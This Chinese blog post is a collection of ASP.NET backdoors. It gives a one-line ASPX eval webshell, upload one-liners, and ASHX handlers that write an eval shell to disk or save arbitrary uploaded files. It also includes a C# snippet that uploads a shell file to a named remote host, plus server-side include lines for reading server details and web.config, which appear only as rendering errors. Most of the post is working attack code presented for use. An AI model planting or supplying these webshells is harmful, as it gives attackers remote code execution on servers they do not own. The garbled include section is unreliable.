https://www.cnblogs.com/Fluorescence-tjy/p/9855828.html

一、标准ASPX一句话木马

.NET平台下的一句话木马则百年不变,最常见的当属下面这句

<%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>

想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。

<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>

二、ASHX一句话木马

ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用。

二、ASHX写文件木马

木马执行后会在当前目录下生成webshell.asp一句话木马,密码是pass 也可以写入其它文件。

<%@ WebHandler Language="C#" class="Handler"% >

using System;

using System.Web;

using System.IO;

public class Handler:IHttpHandler {

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/plain";

StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));

file.Write("<%eval request("pass")%>");

file.Flush();

file.Close();

context.Response.Write("www.webshell.cc");

}

public bool IsReusable {

get {

return false;

}

}

}

将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

1.用String连接字符串

<%@ WebHandler Language="C#" Class="Handler" %>

using System;

using System.Web;

using System.IO;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
file1.Write(show);
file1.Flush();
file1.Close(); } public bool IsReusable {
get {
return false;
}
}

}

2.比较笨的方法,看代码吧

<%@ WebHandler Language="C#" Class="Uploader" %>

using System;

using System.IO;

using System.Web;

public class Uploader : IHttpHandler

{

public void ProcessRequest(HttpContext hc)

{

foreach (string fileKey in hc.Request.Files)

{

HttpPostedFile file = hc.Request.Files[fileKey];

file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));

}

}

public bool IsReusable
{
get { return true; }
}

}

然后用VS建立WinForm程序~主函数里写:

System.Net.WebClient myWebClient = new System.Net.WebClient();

myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\ma.aspx");

三、stm/shtm/shtml脚本

虽然不能直接拿到webshell,但是可以获取到一些服务器信息。注意stm中的include可以将web.config文件中的内容包含进来。

[an error occurred while processing the directive]

当前文件名称:[an error occurred while processing the directive]

Web服务器的名称和版本:[an error occurred while processing the directive]

主机名:[an error occurred while processing the directive]

端口:[an error occurred while processing the directive]

客户或客户代理IP地址:[an error occurred while processing the directive]

客户或客户代理主机名:[an error occurred while processing the directive]

PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:

[an error occurred while processing the directive]

客户端给出附加路径信息:[an error occurred while processing the directive]

[an error occurred while processing the directive]
[an error occurred while processing the directive]
[an error occurred while processing the directive]

标签: ASPX后门, ASHX后门

最新文章

  1. 【原创】O2O,你真的知道怎么玩吗?
  2. Apache安装与属性配置
  3. 【海洋女神原创】How to: Installshield做安装包时如何添加文件
  4. 初始BOM
  5. PHP strpos() 函数
  6. powershell学习
  7. 分享8款精美的jQuery图片播放插件
  8. 用Ghostscript API将PDF格式转换为图像格式(C#)
  9. swift 启动图片的设置
  10. 动态代理:JDK动态代理和CGLIB代理的区别
  11. PageAdmin Cms V2.0 getshell 0day
  12. flutter 读写文件
  13. 【XSY1552】自动机 构造
  14. linux常用目录简介
  15. numpy 随机产生数字
  16. PAT 1047 编程团体赛
  17. nginx 全局配置
  18. FAST:NetMagic交换机 与 Floodlight控制器 连接实战
  19. 详解一下 javascript 中的比较
  20. Axure使用笔记1:如何去除IE中每次“已限制网页运行脚本或ActiveX控件”

热门文章

  1. css样式总结体会
  2. 详解Windows注册表分析取证
  3. flutter 卡在Running Gradle task &#39;assembleDebug&#39;...
  4. Android开发常用的Intent的URI及示例
  5. STM32嵌入式开发学习笔记(七):串口通信(下)
  6. makefile.new(7117) : error U1087: cannot have : and :: dependents for same target
  7. JAVA JDBC大数据量导入Mysql
  8. python 调用redis
  9. Decision Tree、Random Forest、AdaBoost、GBDT
  10. POJ 1269 Intersecting Lines (判断直线位置关系)